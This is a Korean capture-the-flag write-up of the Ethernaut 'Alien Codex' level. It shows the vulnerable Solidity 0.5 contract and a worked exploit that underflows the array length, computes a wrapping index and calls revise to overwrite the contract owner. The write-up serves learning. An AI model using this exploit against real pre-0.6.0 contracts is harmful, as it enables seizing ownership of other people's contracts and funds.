Ethernaut: 19. 외계인 코덱스

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }

  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}


문제는 계약의 소유자를 변경하기 위해 codex 배열을 어떻게든 사용하도록 암시하고 있습니다. 그렇게 하는 도구는 아마도 배열의 length와 관련이 있을 것입니다. 사실, retract는 의심스러울 정도로 위험하며 실제로 배열 길이를 언더플로할 수 있습니다!. 배열 길이는 uint256 이며 일단 언더플로우되면 기본적으로 전체 계약 스토리지(모든 2 ^ 256 - 1 슬롯)를 배열의 일부로 "가집니다". 결과적으로 해당 배열로 메모리의 모든 항목을 인덱싱할 수 있습니다!
  • make_contact 다음에 await web3.eth.getStorageAt(contract.address, 0)0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272를 반환하는 것을 볼 수 있습니다. 32바이트보다 작은 변수는 연속적일 경우 함께 묶이므로 실제로는 ownercontact 변수가 나란히 있습니다! 맨 왼쪽 끝에 있는 010x00..01는 부울 값을 나타냅니다.
  • 다음 슬롯인 await web3.eth.getStorageAt(contract.address, 1)codex 배열의 길이입니다. 무언가를 기록하면 증가하는 것을 볼 수 있습니다. 글쎄, 만약 우리가 retract ? 당신은 그것이 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff가 되는 것을 보고 충격을 받을 것입니다!

  • 그렇다면 인덱싱은 어떻게 작동하며 어레이가 전체 스토리지를 포함하므로 이제 owner 슬롯을 어떻게 인덱싱할 수 있습니까? 퍼즐이 사용하는 가장 높은 버전 0.5.0의 문서를 살펴봅니다: https://docs.soliditylang.org/en/v0.5.17/miscellaneous.html#mappings-and-dynamic-arrays .

    The mapping or the dynamic array itself occupies a slot in storage at some position p according to the above rule (or by recursively applying this rule for mappings of mappings or arrays of arrays). For dynamic arrays, this slot stores the number of elements in the array. Array data is located at keccak256(p).



    이를 실제로 확인하기 위해 다음을 수행할 수 있습니다.

    await contract.record('0xffffffffffffffffffffffffffffffff')
    await web3.eth.getStorageAt(contract.address , web3.utils.hexToNumberString(web3.utils.soliditySha3(1)))
    // 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000
    


    자, 먼저 배열 길이가 언더플로될 때까지 retract 해야 합니다. 그런 다음 오버플로될 때까지 keccak256(1)에서 충분히 오프셋하고 0번째 인덱스로 돌아가서 owner를 덮어씁니다! 배열 데이터는 uint256(keccak256(1))에 있으며 그와 메모리 끝 사이에 2 ** 256 - 1 - uint256(keccak256(1)) 값이 있습니다. 따라서 여기에 하나를 더 추가하면 0번째 인덱스로 이동한다는 의미입니다. 이 지수를 계산하기 위해 Remix에 작은 Solidity 코드를 작성했습니다.

    function index() public pure returns(uint256) {
      return type(uint256).max - uint256(keccak256(abi.encodePacked(uint256(1)))) + 1; 
    }
    


    그런 다음 다음과 같이 revise 함수를 호출합니다.

    await contract.codex('35707666377435648211887908874984608119992236509074197713628505308453184860938') // if you want to confirm
    await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938', web3.utils.padLeft(player, 64))
    


    고맙게도 버전 0.6.0부터는 배열 길이 속성을 설정할 수 없습니다! https://ethereum.stackexchange.com/a/84130을 참조하십시오.

    좋은 웹페이지 즐겨찾기